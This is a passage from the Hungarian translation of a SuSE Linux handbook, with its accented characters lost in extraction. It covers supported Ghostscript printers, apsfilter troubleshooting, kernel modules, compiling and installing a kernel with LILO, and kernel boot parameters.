Apple appledmp iwhi iwlo iwlq Canon bj10e bj200 bjc600 bjc800 lbp8 lips3 DEC declj250 la50 la70 la75 la75plus lj250 ln03 Epson ap3250 eps9high eps9mid epson epsonc lp8000 lq850 st800 stcolor Hewlett-Packard cdeskjet cdj500 cdj550 cdj670 DeskJet 500C, black & white DeskJet 500C, 540C DeskJet 550C, 560C DeskJet 670C, 690C AP3250 FX-80-compatible, 240 dpi FX-80-compatible, 120 dpi FX-80-compatible 9 or 24-pin printer LQ-2550, Fujitsu 1200/2400/3400, color LP-8000 laser printer LQ-850, 24-pin printer, 360dpi Stylus 800, ESC/P2 Stylus Color LJ 250 LA50 LA70 LA75 LA75 Plus LJ250 LN03 BubbleJet 10e BubbleJet 200 BubbleJet 600c, 4000c (color) BubbleJet 800c (color) LBP-8II LIPS III Apple Dot Matrix Printer (also Imagewriter) Apple Imagewriter, high resolution Apple Imagewriter, low resolution Apple Imagewriter, 320x216 dpi

12.2 tblzat: folytats a kvetkez oldalon...... o 368

12.6. Tmogatott nyomtatk jegyzke

cdj850 cdj890 cdj1600 cdjcolor cdjmono deskjet djet500 djet500c djet820c dnj650c hpdj

laserjet ljet2p ljet3 ljet3d ljet4 ljetplus lj4dith lj5mono lj5gray lp2563 paintjet pj pjetxl pjxl pjxl300 IBM ibmpro jetp3852 OKI oki182 okiibm Tektronix t4693d2 t4693d4 t4693d8

DeskJet 850C, 855C, 870C, 1100C DeskJet 890C DeskJet 1600C DeskJet 500C, color print DeskJet 500C, black & white DeskJet, DeskJet Plus DeskJet 500 DeskJet 500c DeskJet 820Cse s 820Cxi; poss. also the 1000 models DesignJet 650C DeskJet with PCL-3 support (sznes s feketefehr) Ghostscript-docu: hpdj/gs-hpdj.txt LaserJet LaserJet IIp LaserJet III LaserJet IIID LaserJet IV LaserJet Plus LaserJet IV, dithered LaserJet 5 & 6 (PCL XL), bitmap LaserJet 5 & 6, grayscale bitmap 2563B Line Printer PaintJet color printer PaintJet XL, alternative PaintJet 300XL PaintJet 300XL PaintJet 300XL, DeskJet 1200C

Proprinter, 9-pin Jetprinter 3852

MicroLine 182 MicroLine, IBM-compatible

4693d, color 4693d, color 4693d, color

12.2 tblzat: folytats a kvetkez oldalon...... o 369

12. Nyomtatk

tek4696 Egyb tpusok hl7x0 imagen m8510 necp6 oce9050 r4081 sj48 cp50 xes

4695/4696

Brother 720, 730, 820 Imagen ImPress C.Itoh M8510 NEC P6, P6+, P60 at 360 dpi OCE 9050 Ricoh 4081 laser printer StarJet 48 Mitsubishi CP50 color Xerox XES (2700, 3700, 4045)

12.2 tblzat: Tmogatott nyomtatk (Ghostscript 5.10 alapjn)

Az el bbi tblzatban szerepl kn kvl minden HP4 kompatibilis PostScript o o nyomtat tmogatott. Az apslter teleptse, vagy a YaST -tal val bellts sorn, a baloldali oszlopban megadott sort kell nyomtateszkzknt belltani (pl. djet500). Ha a nyomtat nincs tmogatva, az nem felttlenl jelenti azt, hogy az apslter nem hasznlhat. Ez esetben prbljunk ki egy hasonl nyomtatt. Meglehet sen gyakran vezet eredmnyre ez a megolds. Tovbbi segtsg a o meghajt kivlasztshoz a SuSE hardware adatbzisban lv CDB Como ponent Database-ben tallhat: http://cdb.suse.de/cdb_english.html, vagy helyben, ha a cdb csomag a doc kszletb l teleptve van. o A boltokban rengeteg, gynevezett "Windows nyomtat" kaphat, melyeknek msik, gyakran hasznlt neve a "GDI nyomtat". Az ilyen nyomtatk legtbbszr egyltaln nem hasznlhatk Linux alatt, vagy szerencss esetben csak korltozssal; ezzel kapcsolatban nzzk meg a CDB-t a http://cdb.suse.de/cdb_english.html cmen, vagy krdezzk meg az eladt! (Lehet hogy tud krdsnkre vlaszolni. . . ) A HP Deskjetek szmra ltez szoftver talakt lehet v teszi a feketeo o fehr nyomtatst (ppa csomag, ap kszlet). A teleptshez olvassa el a /usr/doc/packages/ppa-ban lv dokumentcit, vagy a o http://sdb.suse.de/sdb/en/html/ke_printer-gdi.html cmen tallhat cikket. A Lexmark nyomtatk szmra (5700-as, 7000-es, 7200-as modellek) az ap kszlet pbm217k csomagja ltezik; a dokumentci a /usr/ doc/packages/pbm2l7k knyvtrban tallhat. Rossz felbonts belltsa meglehet sen gyakori hiba. Ebben az esetben a megfelel o o rtk (a nyomtat DPI rtket fogad el) a GS_RESOL vltozban, a 370

12.7. Ellen rizzk, mukdik-e az apslterrel o val nyomtats /etc/apsfilterrc-ben llthat be (pl. GS_RESOL=360x360). Nhny megjegyzsbe tett bejegyzs mr ltezik.

12.7

Ellen rizzk, mukdik-e az apslterrel o val nyomtats

Az aps csomag az ap kszletb l teleptve van-e? o Az apslter be van lltva a YaST -tal, vagy a /var/lib/apsfilter/SETUP-pal? Az a kszletben lv net_tool, netcfg, nkita, o nkitb csomagok teleptve vannak? Az n kszletben lv lpo rold csomag szintn? A kernel tmogatja a TCP/IP-t? Ez gy ellen rizhet , hogy megnzo o zk, a /var/log/boot.msg-ben szerepel-e az "IP protocols: ICMP, UDP, TCP" sor. A prhuzamos port tmogatsa be van kapcsolva? Az lp modul be van tltve? A 2.2.xx-es kernelben a parport s parport_pc modulokat szintn be kell tlteni (lsd a 10.4.3 . fejezetben (323. oldal)). Ha "Plug-and-Play" BIOS-unk van, s a BIOS-ban lv portbellts o auto-ra van lltva, meghatrozott cmet jellhetnk ki (szabvnyos rtk a 0x378 vagy csak 378). Ha a nyomtat csak "villog", akkor a BIOS-ban lv port ECP+EPP to pusra lehet belltva, amit a nyomtat nem ismer fel. Ebben az esetben lltsuk t ezt az rtket normal, SPP vagy ECP-re. Ha a nyomtat nem tmogatja a szabvnyos 300 300 dpi-t, vajon belltottuk a megfelel nyomtatfelbontst (a nyomtat kziknyve alapjn) o a YaST -tal, vagy a /etc/apsfilterrc-ben? Mit mond az lpc status parancs? Prbljuk ki az lpc up all parancsot. Legutljra a raw nyomtatsi vrsornak minden nyomtatval m kdnie u kell (ASCII-fjlokat nyomtatva); a "GDI nyomtatk" kivtelek (lsd a 370 oldalon). Ha a nyomtat fekv formtumban (landscape) nyomtat, s ezt nem akaro juk, vessnk egy pillantst a 12.3 . fejezetben (358. oldal) lertakra. Ha az lpr parancshoz -P opcit hasznlunk, nem lehet szkz a nyomtat neve el tt. o Ha kpesek vagyunk ASCII szveget kinyomtatni a "raw" nyomtatsi vrsoron keresztl, prbljunk kinyomtatni egy szokvnyos PostScript fjlt az lpr-rel. Ltrehozhatunk ASCII szvegfjlbl PostScriptet s kinyomtathatjuk a kvetkez parancscsal: o
jancsi@meggyfa: > a2ps -nP -1 \ -p /etc/hosts > /var/tmp/hosts.ps jancsi@meggyfa: > lpr /var/tmp/hosts.ps

vagy a Ghostscripttel is elintzhetjk a dolgot:


jancsi@meggyfa: > \ lpr /usr/share/ghostscript/5.10/examples/tiger.ps

371

12. Nyomtatk Ellen rizzk le, hogy a /var/spool/lpd/DRIVER_NAME logo fjlban a DRIVER_NAME helyn a sajt nyomatnk neve szerepel-e. Bizonyosodjunk meg arrl, hogy a megfelel nyomtatportot hasznljuk o (lsd a 12.1 . fejezetben (351. oldal)). A kernelnek tartalmaznia kell egy PLIP meghajtt. (Ez a /var/log/ boot.msg-ben ellen rizhet le)! o o

372

VI. rsz

A kernel s paramterei

373

13. fejezet

A kernel
Fordtotta: Subosits Gyula s Vradi Istvn A szabvnyos SuSE kernel, ami telepts utn a lemezre rdik (s ami korrekt telepts utn a /boot-ban tallhat), hardverek szles skljhoz illeszkedik valamint, amennyire lehet ms kernel sajtossgokhoz. Ennek eredmnyekppen nem tkletesen a jelenlegi hardvernkhz lltottk be. Ha jl vlasztottunk a telepts vagy a frissts sorn, akkor viszont a kernel kimondottan a mi processzorunkhoz lesz optimalizlva. Mindemellett, lehetsges hogy ez a kernel nem idelis a cljainkhoz, leginkbb hlzati kiszolglknl s tvonalvlasztknl. Radsul egy kevs RAM is veszend be megy mivel nhny szksgtelen meghajtprogram is o betlt dik. o gy vannak el nyei a sajt kernel fordtsnak. Sajt kernelt kell fordtani o az egzotikusabb hardver elemekhez, melyekhez nincs tmogats a szabvny kernelekben (pl. a klnleges busz-egerek esetben). sszegezve, a kernel kongurls ttekintst nyjt a Linux kernel jelenlegi fejlesztsi llapotrl (feltve, hogy friss kernel forrssal dolgozunk). Tbb Makefile paramterrel automatikus segtsget kapunk a feldolgozs sorn. Ezek a Makefile-ok kezelik, szinte az sszes rszletet. A kzzel elvgzend dolog, csak a kivlogats, ami azonos a hardver s ms kernel o jellemz k belltsnak elvgzsvel. o A kernelekhez nem biztostunk Teleptsi tmogatst, ezt nem tartalmazza a SuSE Linux (lsd az A.1.2 . fejezetben (520. oldal)); mindamellett rlnk ha segthetnk a Professzionlis Szolgltatsunkkal (lsd az A.3 . fejezetben (524. oldal)). A lers a 2.2.x kernel sorozatot veszi alapul. Az utalsok kzl szmos rvnyes a 2.0.x esetben is, azonban lehet hogy a rszletek klnbznek!

13.1

Kernel forrsok

A kernel fordtshoz a kvetkez csomagokat kell telepteni: a kernel forrst o (lx_suse csomag), a C fordt t (gcc csomag), a GNU binutilst (binutils csomag) s az include fjlokat a C fordthoz (libc csomag). Ezek a d kszletben tallhatk a CD-ROM-on. Ajnlott a C 375

13. A kernel fordt teleptse minden esetben, mivel a C nyelv elvlaszthatatlan rsze a UNIX opercis rendszereknek. A kernelforrs a /usr/src/linux alatt helyezkedik el. Ha tervezzk a ksrletezst klnbz kernelekkel, akkor klnbz knyvtrakba kell azokat o o kicsomagolnunk a /usr/src al, s szimbolikus linket kell ksztennk az aktulis kernel forrsra, ami a /usr/src/linux. Ezt a YaST automatikusan megteszi. Mivel a szoftverek egy rsze tmaszkodik a kernel forrsra, fennt kell tartanunk a knyvtrat szimbolikus linkknt, biztostva az olyan rendszerprogramok hibamentes fordtst, melyeknek szksgk van ennek elrsre.

13.2

Kernelmodulok

Sok meghajtprogram s tulajdonsg ma mr nincs kzvetlenl a kernelbe fordtva, hanem kernelmodulknt tlt dik be, akkor amikor arra szksg van. o Hogy mely eszkzmeghajtk vannak xen a kernelbe fordtva, s melyek tlt dnek be modulknt, az a kernel kongurlsakor kerl meghatrozsra. o A kernelmodulok a /lib/modules/<verziszm> knyvtrban tallhatk meg, ahol a <verziszm> az aktulis kernel verziszma. A modulok hasznlata cskkenti a kernel mrett s RAM szksglett, ami igencsak kvnatos. Ennek rdekben j ha hasznljuk oket ott, ahol sszer . u Alapvet en az sszes olyan sszetev , amelyik nem kell a rendszer induo o lshoz, krhet modulknt. Ez biztostja azt, hogy a kernel nem lesz tl o nagy ahhoz, hogy a BIOS vagy a Bootloader ne tudja majd betlteni. Azokat az eszkzmeghajtkat, amelyek szksgesek a rendszer indtshoz pl. az ext2, a SCSI meghajtk egy SCSI-alap rendszerben, valamint a hasonl elemeket kzvetlen a kernelbe kell fordtani. Ezzekkel ellenttben az olyan elemeket mint az isofs, msdos vagy a sound, melyek nem kellenek a rendszer indtshoz, modulba lehet fordtani. Modulok kezelse A modulok kezelsre a kvetkez parancsok llnak rendelkezsnkre: o insmod Az insmod betlti a megadott modult, miutn azt megkereste a /lib/modules/<verziszm> alknyvtrban. El nysebb azonban a modprobe hasznlata (lsd albb) . o rmmod A krt megadott modul eltvoltsa. Ez csak akkor lehetsges, ha az adott modulra mr nincs szksg. Nem lehet pldul eltvoltani az isofs modult (a CD-ROM fjlrendszert), amg egy CD-ROM a rendszerbe van csatolva. depmod Elkszt egy modules.dep nev fjlt a u /lib/modules/<verziszm> knyvtrba, amelyben meghatrozdnak a modulok fgg sgei. Ez biztostja azt, hogy az sszes szksges o fgg modul betlt djn a kivlasztottal egytt. Ha a START_KERNELD o o 376

13.2. Kernelmodulok vltoz be van lltva a /etc/rc.config-ban, akkor ez a fjl minden rendszerindtskor elkszl. modprobe A megadott modul betltse vagy eltvoltsa, mikzben gyelembe veszi a modulok fgg sgeit is. Ez a parancs nagyon hathats s haszo nlhat sok dologhoz (pl. minden modul kiprblsa egy adott tpusbl, amg vgl egy sikeresen be nem tlt dik). Ellenttben az insmod -dal, a o modprobe megvizsglja a /etc/modules.conf-ot, s ez az el nyo sebb mdszer a modulok betltsre. Rszletesebb informcikat ebben a tmban, a megfelel kziknyv oldalakon tallunk. o lsmod Megjelenti, hogy jelenleg mely modulok vannak betltve, s hny modul van hasznlatban. A kernel dmon ltal indtott modulok, amelyek autoclean-nel vannak megjellve, azt mutatjk hogy ezek a modulok automatikusan el lesznek tvoltva, ha az resjrati id hatrukat elrik. o A /etc/modules.conf A modulok betltse trtnhet mg a /etc/modules.conf-ban lv o informcik hatsra is. Lsd mg man depmod. MEGJEGYZS: A SuSE Linux 6.3 ta a fjlnv megvltozott /etc/conf. modules-rl /etc/modules.conf-ra (a SuSE Linux 6.3-ban mg csak szimblikus link volt r). Ebben a fjlban paramterek vannak azokhoz a modulokhoz, amelyeknek kzvetlenl kell elrnik a hardvert, olyan moduloknak, amelyeknek rendszerspecikus belltsokra van szksgk (pl. CD-ROM-meghajtk vagy a hlzati meghajtk). Az itt megadott paramterek elvben azonosak azokkal, amelyeket a kernel boot prompt-jnl is megadhatunk pl. a LILO -nak (lsd a 14 . fejezetben (383. oldal)), de azok sok rszletben klnbznek. Ha egy modul betltse sikertelen, jra kell prblkoznunk, miutn pontosan meghatroztuk a hardvert a /etc/modules.conf llomnyban. Kmod A "Kernelmodul betlt " o A 2.2.x verzitl kezdve a "kernelmodul betlt " a legjobb mdszer a moo dulok hasznlathoz, s a rgi kernel-dmon lecserlshez (kerneld ). Ez a kerneltulajdonsg lehet v teszi a kernelnek a modprobe kzvetlen haszo nlatt, s biztostja azt, hogy a szksges modulok automatikusan betltve legyenek, amint azt a kernel ignyli. A "kernelmodul betlt " hasznlathoz be kell lltani a megfelel vltozt a o o kernel kongurlsakor Kernel module loader (CONFIG_KMOD) Azokat a meghajtprogramokat, amelyek szksgesek a root fjlrendszer elrshez, kzvetlenl a kernelbe kell fordtani. gy nem szabad a SCSI meghajtprogramot vagy a sajt fjlrendszert (rendszerint: ext2) modulknt belltani! 377

13. A kernel Mivel a SuSE Linux jelenleg hasznlja az initial ramdisk-et s beptve tartalmaz SCSI meghajtprogramokat, pldul hasznlhat ez a mdszer. Sajt kernel fordtsa sorn gy z djnk meg rla, hogy az o o INITRD_MODULES vltozt belltottuk a /etc/rc.config fjlban (lsd a 17.6 . fejezetben (465. oldal)) s kikommenteztk az initrd sort a /etc/lilo.conf-ban (lsd a 16.3.5 . fejezetben (442. oldal)). Ha ezeket nem vgezzk el, akkor a kernel le fog fagyni az indts sorn. A kernelmodulok jl jnnek ritkn hasznlt funkciknl, mint pldul a parport s a printer tmogats, oppy kezels s egyb ritkn hasznlt fjlrendszerek kezelse. A Kmod nincs a modulok automatikus eltvoltsra felksztve; a modulok eltvoltsval elrhet memrianyeresg jelentktelen napjaink szmtgo peinek RAM mennyisghez kpest; lsd a /usr/src/linux/Documentation/kmod.txt fjlt. ppen ezrt a nagyobb teljestmny kiszolglknak, melyek specilis feladatokat ltnak el u s csak nhny eszkzmeghajtt ignyelnek, "monolitikus" kernelk van.

13.3

Kernel kongurci

A kernel kongurcija telepts vagy frissts utn a /usr/src/linux/ .config fjlbl lltdik be (lsd a 2.2.8 . fejezetben (40. oldal)). Ez a fjl azonban csak a kernelt rja le, a modulokat nem, azok a kernmod csomagbl jnnek. Ha j modulokat akarunk fordtani, akkor kzzel kell oket kivlasztanunk. A kernel kongurlsnak hrom mdja van: 1. parancssoros 2. szveges zemmd mens 3. grakus mens X Window alatt Kvetkezzk e hrom mdszer rvid ttekintse. Kongurls parancssorbl A kernel kongurlshoz lpjnk be a /usr/src/linux knyvtrba, s rjuk be:
meggyfa:/usr/src/linux # make config

Dntsk el, hogy az opcik kzl melyeket kvnjuk bepteni a kernelbe. Vlaszknt kt vagy hrom lehet sg van: n o y , vagy Az m vlaszt m. adjuk meg, ha azt akarjuk hogy az opci ne kzvetlen a kernelbe, hanem modulba fordtdjon. Azokat a meghajtkat, amelyek szksgesek a rendszer indulshoz, a kernelbe kell fordtani, s nem tlthet k be modulknt. o Ha brmely msik billenty t nyomjuk meg, rvid segt szveget kapunk az u o aktulis belltsrl. 378

13.4. Belltsok a kernel kongurciban Kongurls szveges mdban Sokkal knyelmesebb mdja a kernel kongurlsnak a kvetkez k bersa: o
meggyfa:/usr/src/linux # make menuconfig

A make menucong-gal ttekinthetjk a vlasztkokat, tvizsglhatjuk a krdseket egy el nysebb krnyezetben, s tves vlaszts esetn nem kell o vgigmennnk az sszes krdsen ismt, mint az el z pontban ismertetett o o mdszer esetben. Kongurls X Window System alatt Ha mr teleptettk s belltottuk az X Window rendszert (xf86 csomag), a Tcl/Tk-t (tcl s tk csomagok), akkor hasznlhatjuk a kvetkez t is: o
meggyfa:/usr/src/linux # make xconfig

Megjelenik egy GUI (Grakus Felhasznli Fellet) mellyel a kernel kongurlsa nagyon egyszer en elvgezhet . Az X Window System-et rootu o knt kell elindtanunk, vagy kiegszt lpseket kell tennnk (pl. tvenni a o kperny t egy msik felhasznltl). o

13.4

Belltsok a kernel kongurciban

Minden egyedi kernel kongurcis lehet sget lehetetlen itt tnzni. Hasz- Help Texts o nljuk a rendelkezsre ll segt informcikat a kernel kongurlshoz. A o legjabb kernel dokumentcit mindig megtalljuk a /usr/src/linux/ Documentation knyvtrban.

13.5

A kernel fordtsa

Tvoltsuk el a megjegyzst a f Makefile megfelel sornak elejr l. o o o Ez a z export INSTALL_PATH=/boot sort tartalmazza. A mdosts utn kernelnk eleve a /boot knyvtrba telepl. Javasoljuk, hogy "bzImage"-dzset fordtsunk. Ez egy bevett szoks a kernel too large problmjnak elkerlsre, ami knnyen megtrtnik ha tl sok sszetev t vlasztunk, s egy "zImage"-dzset ksztnk (ilyen esetekre a o "kernel too big" vagy a "System is too big" zenetek jellemz k). Miutn kialaktottuk a kernel kongurcijt sajt ignyeink szerint, o indtsuk el a fordtst:
meggyfa:/usr/src/linux # make dep meggyfa:/usr/src/linux # make clean meggyfa:/usr/src/linux # make bzImage

A hrom parancs egy sorba is berhat. Ekkor egymst kvet en fognak o elindulni. E forma akkor lehet hasznos, ha pldul jjel akarunk j kernelt fordtani. A parancs megfelel formja: o
meggyfa:/usr/src/linux # make dep clean bzImage

379

13. A kernel Rendszernk teljestmnyt l fgg, hogy alig pr perct l (AMD Athlon / o o Intel Pentium III ) 1 , akr nhny rig fog tartani (pl. egy 386-osnl 8 MB RAM-al). Amg a fordts megtrtnik, nyugodtan dolgozhatunk a tbbi konzol brmelyikn. Sikeres fordts utn megtalljuk a kernelt a /usr/src/linux/arch/i386/boot knyvtrban. A kernel lenyomatot azt a fjlt, amely tartalmazza a kernelt gy hvjk, hogy bzImage Ha ez a fjl nem ltezik (/usr/src/linux/arch/i386/boot/ bzImage), akkor a fordts nem volt sikeres. A hibazenetek lehet hogy mind elvesztek a kimeneten. Ellen rizhetjk, hogy milyen hibk voltak, ha o berjuk:
meggyfa:/usr/src/linux # make bzImage

s gyelk a hibazeneteket. De semmi pnik: a hibk nagyon ritkk! Ha Bash shellt hasznlunk, berhatjuk:
meggyfa:/usr/src/linux # make bzImage 2>&1 | tee kernel.out

ekkor a fordts kimenete a kernel.out fjlba kerl. TCS shell alkalmazsa esetn a parancs gy nz ki:
meggyfa:/usr/src/linux # make bzImage |& tee kernel.out

Ha belltottunk a kernelhez modulknt betlt d rszeket, akkor kernelforo o dts utn el kell indtanunk a modulok fordtst is. Ezt a kvetkez k bero sval tudjuk megtenni:
meggyfa:/usr/src/linux # make modules

Miutn a modulok is sikeresen lefordultak, telepteni kell oket a megfelel o knyvtrakba (/lib/modules/<verziszm>) a kvetkez megado sval:
meggyfa:/usr/src/linux # make modules_install

13.6

A rendszermag teleptse

Rendszermagfordts utn biztostani kell a rendszer indthatsgt. Ha LILO -t hasznlunk, akkor azt jra be kell lltanunk. Egyszer bb esetben u msoljuk a rendszermagot a /boot/vmlinuz-ba (lsd a 13.5 bekezdst), s aztn futtassuk a LILO -t; kellemetlen meglepetsek kivdsre azonban eleinte orizzk meg a rgi rendszermagot (/boot/vmlinuz.old), azrt hogy nyugodtan indthassuk a rendszert, s ha az j rendszermag nem az elvrsoknak megfelel en m kdik: o u
meggyfa:/usr/src/linux # cp /boot/vmlinuz /boot/vmlinuz.old meggyfa:/usr/src/linux # cp arch/i386/boot/bzImage /boot/vmlinuz meggyfa:/usr/src/linux # lilo
1 Nagyon kedvelt tesztje hardvernek s a szoftvernek a kernelfordts make -j-vel. Nagy mennyisg RAM-ra lesz hozz szksgnk (tbb mint 100MB-ra). Ez mindegyik forrsfjlhoz u elindt egy fordtt.

380

13.7. Bootlemez ksztse A make bzlilo Makele-ja mellesleg megteszi ezt a hrom lpst egy csapsra. Most a lefordtott modulokat mg telepteni kell. rjuk be:
meggyfa:/usr/src/linux # make modules_install

erre tmsoldnak a megfelel clknyvtrba, a o /lib/modules/<verziszm> knyvtron bell. Mindezek vgrehajtsa utn vegynk fel egy j sort a /etc/lilo.confba, old-linux nven. Vlasszuk a /boot/vmlinuz.old-ot boot image-knt, s msoljuk a rgi rendszermagot a /boot/vmlinuz.old-ba. Ez lehet v teszi a rgi rendszermag indtst akkor is, ha az jjal valami hiba o trtnik, az old-linux bersval a lilo boot: promptjnl. Mindezeket rszletesen trgyaljuk a 4 . fejezetben (119. oldal). Miutn talaktottuk a /etc/lilo.conf-ot ignyeink szerint, be kell rnunk:
meggyfa:/usr/src/linux # lilo

Ha a Linux-ot DOS-bl indtjuk pl. egy linux.bat-tal (a loadlin alkalmazsval), akkor t kell msolnunk a rendszermagot a /dosc/loadlin/bzimage-dzsbe (vagy abba a knyvtrba, ahov a loadlin-t teleptettk), azrt hogy aktv legyen a kvetkez indtskor. o Ezenkvl a /System.map tartalmazza a rendszermag szimblumokat, amelyekre a moduloknak szksge van ahhoz, hogy a rendszermag megfelel en m kdjn. Ez a fjl fgg a hasznlt rendszermaggal. Teht a o u /usr/src/linux/System.map-ot2 msoljuk a root knyvtrba (/). Ha a make zlilo paranccsal fordtjuk az j rendszermagot, akkor ez automatikusan megtrtnik. Ha ehhez hasonl zenetet kapunk "System.map does not match current kernel", akkor valszn leg a System.map nincs tmu solva.

13.7

Bootlemez ksztse

Ha bootlemezt akarunk kszteni az j rendszermaggal, akkor hasznljuk a kvetkez parancsot: o


meggyfa:/usr/src/linux # make bzdisk

13.8 A merevlemez kitakartsa fordts utn


Ha kevs hely van a merevlemeznkn, akkor visszanyerhetnk nmi lemezterletet fordts utn, a kvetkez parancs kiadsval: o
meggyfa: # cd /usr/src/linux meggyfa:/usr/src/linux # make clean

Ha van b ven helynk, s egy j rendszermag fordtst tervezzk ugyano abbl a forrsbl, akkor hagyjuk ki ezt a lpst. Az j fordts gyorsabban kszl el, ha csak azokat a rszeket kell jrafordtanunk, amelyeken vltoztattunk.
2

Ez a fjl minden j rendszermag fordtsakor elkszl.

381

13. A kernel

382

14. fejezet

Kernelparamterek
Fordtotta: Subosits Gyula s Vradi Istvn

14.1

Eszkzmeghajtk a kernelben

A PC hardverkomponenseknek szles vlasztka van. Azrt, hogy kpesek legynk megfelel en hasznlni a hardvert, szksgnk van egy o "eszkzmeghajt"-ra amellyel az opercis rendszer (Linux esetben ez a "kernel"), kpes elrni a hardvert. ltalban kt mdszer van az eszkzmeghajtk rendszerbe illesztsre: Az eszkzmeghajt kzvetlen kernelbe fordtsval. Ilyenkor a kernelt monolitikus kernelnek nevezik. Nhny eszkzmeghajt csak ebben a formban hozzfrhet , igazolva a monolitikus kernelek szksgessgt. o Eszkzmeghajtk szksg szerinti betlt dsvel. Ilyenkor a kernelt moo dularizlt-knt azonostjuk. Ennek a megoldsnak az az el nye, hogy o csak azok az eszkzmeghajtk tlt dnek be, amelyekre tnylegesen szko sg van, s gy a kernel nem tartalmaz felesleges ballasztot maga krl. A SuSE betlt lemez kernele modulokat hasznl a hardverelemek jeleno t s rsznek tmogatsval. o Nhny meghajt mg nem ltezik modulknt. Mindezek ellenre, a meghajtprogramokat a kernelbe fordtva, vagy modulknt betltve mgis lehetsges az, hogy egy hardverelemet nem fog felismerni a kernel. Ebben az esetben pontosabban meg kell hatrozni az sszetev k sao jtossgait. A monolitikus kerneleknek ezeket a paramtereket a boot prompt-nl kell megadni, vagy egy boot loader segtsgvel1 . A modulris eszkzmeghajtk paramtereiket az insmod vagy a modprobe kzvettsvel kapjk meg, melyek egyidej leg a modulokat is betltik. u Sajnlatos mdon a LILO paramterek formtuma klnbzik azoktl, amelyeket az insmod -nak s a modprobe-nak kell megadni. Emiatt azokat kt klnbz csoportra osztjuk a kvetkez oldalakon. Nhny modulnak egyo o sges paramterei vannak (pl. a CD-ROM meghajtk), ezrt ugyanazokat a paramtereket kapjk, akr modulknt, akr a LILO promptnl hasznljuk oket.
1 Ennek megfelel en a paramtereket hvjk LILO paramtereknek is, az X86 architektrk o betlt jnek hagyomnyos elnevezsvel. o

383

14. Kernelparamterek

14.2

Nhny tipp

Miel tt bemutatjuk a paramterek listjt, itt van nhny javaslat hardverfelo ismersre, paramtertadsra s rendszerindtsra a SuSE betlt lemezzel: o A legtbb meghajtprogramhoz megfelel az autoprobing, pl. klnbz o o szabvnyos cmek tesztelshez, amiket a hardver rendszerint megtall. Mialatt prblkozik, a meghajtprogram lehet hogy bellt egy olyan cmet is, amelyet nem hasznlhat. Ebben az esetben a szmtgp lefagy. Nhny modul sikeresen betlt dhet, mg ha a hardverk nincs is teleo ptve. Ez f leg a 3Com hlzati krtyk meghajtprogramjaira rvnyes. o El szr ksreljnk meg egy autoprobing-ot. A nem hasznlt meghajo tprogramok gy tvolthatk el legknnyebben. A nem automatikusan felismert hardvereknek a megfelel paramterekkel kell indulniuk. o Vgl, van nhny hardversszetev , amelynek tbb mint egy meghajto programja van (pl. NCR 53C810 , Ultrastor). Amennyire tudjuk, nincs lnyeges klnbsg kt Ultrastor meghajtprogram kztt. A BSD meghajtprogram a NCR53C810-hoz tmogat ms NCR53C8xx termkeket is (pl. 53C875), viszont a rgi NCR meghajtprogram csak a rgi CDrkat ismerte fel. Hasznljuk az ignyeinknek legjobban megfelel t. o Ha most indtottuk el a rendszert, akkor az amerikai billenty zetkioszts u lesz aktv. Ha ms kioszts billenty zetnk van, akkor nhny billenty u u kiss eltr helyen lesz. Pldul, ha magyar kioszts a billenty zetnk, o u akkor a ! felirat lesz a billenty zetnkn. A a $ a u z s y helyet cserlnek. Az sszehasonltshoz vessnk egy pillantst az 14.1 kpre.

14.1 bra: Az amerikai billenty zetkioszts u

14.3
14.3.1

A paramterek
Magyarzat s rtelmezs

A kvetkez kben bemutatjuk a kernelparamterek s a megfelel eszkzmego o hajtk bet rendes listjt. A tblzatban szerepl paramterek mindig ugyanu o olyan jelentssel brnak:

384

14.3. A paramterek

<cm> <irq> <dma> <kezd cm>, o <zrcm>

hexadecimlis portcmek (pl. 0x300) megszakts, amit a meghajt hasznl (pl. 7) a meghajt DMA csatornja (pl. 1) hexadecimlis memrialefoglals megosztott memria hasznlathoz

14.1 tblzat: Gyakran hasznlt vltozk nevei a kernelparamterekhez

Leginkbb azokkal a paramterekkel foglalkozunk, amelyek az eredmnyes teleptshez szksgesek. Azonban vannak ms paramterek is, specilis clokra s esetekre. Ne felejtsk el, hogy a nagybet k lnyegesek. u A lehetsges kernelparamterek teljes bemutatsa a telepts utn a BootPrompt-HOWTO-ban tallhat, a /usr/doc/howto knyvtrban, valamint a kernel forrsban, a /usr/src/linux/Documentation/kernel-parameters.txt fjban. 14.3.2 Kernelparamterek a boot promptnl

Az ebben a rszben felsorolt paramtereket csak be kell rni a kernelnek pldul, a SYSLINUX -nl (a boot oppy betlt je), a LILO -promptnl vagy o a loadlin-nek. Ha eszkzmeghajtk teleptst tervezzk modulknt, nzzk meg a paramtereket a 14.3.4 . fejezetben (398. oldal). Minden paramtert be kell rni, kzvetlenl egyms utn, vessz kkel elvo lasztva. Ne hagyjon res helyet (szkzt) a paramterek kztt! Pldul az aha1542 paramtereinek bevitelhez a boot promptnl be kell rnunk (ne felejtsk el, hogy mindig meg kell el znie a paramtereket a betlt o o kongurci nevnek ); a SuSE betlt lemezen e kongurci neve linux: o
linux aha1542=0x300

385

14. Kernelparamterek F betlt paramterek o o F Bizonyos paramterek segtsgvel a Linux kernel viselkedst szablyozo paramterek hatjuk. jraindtsi md( a Linux lelltsa) reboot=<md> Itt a kvetkez rtkeket adhatjuk meg a <md>-nak: o Vltoz warm cold bios hard rtk / Jelents melegindts (nincs memriaellen rzs) o hidegindts (memriaellen rzssel) o BIOS jraindts CPU intenzv jraindts (hromszoros hiba)

Plda: reboot=cold Ez gy indtja a szmtgpet lellts utn, mintha a reset gombot nyomtuk volna meg. Memriarszek vdelme( Reserve) reserve=<start1>,<range1>,...,<startN>,<rangeN> E paramter segtsgvel memriahelyet foglalhatunk le azoknak a hardvereknek a szmra, amelyek pldul nem kedvelik az "autoprobe"-t, s arra rendszerlefagyasztssal reaglnak. Plda: Egy "rzkeny" hlzati krtya megvdsre az "autoprobe"-tl rjuk be: reserve=0x330,32 ether=5,0x330,eth0 E pldban a hlzati krtya 32 bites adatbuszos, ami a 0x330 cmr l o indul s az 5-s megszaktst hasznlja. A hlzati krtya paramterek rszletes lersa a 14.3.2 . fejezetben (394. oldal) tallhat. A root partci belltsa root=<partci> Vltoz <partci> rtk / Jelents pl. /dev/hda1, /dev/sdb5

Plda: root=/dev/hda5 Ez indtja a kernelt s megprblja a root partcit betlteni az els logikai o meghajtrl az els (E)IDE lemez kiterjesztett partcijn. o A RAM mrete (RAM) mem=<size> Berhatjuk a RAM mrett bjtban, kilobjtban vagy Megabjtban. Pldnk klnbz belltsokat mutat be 96 MB RAM-mal. o

386

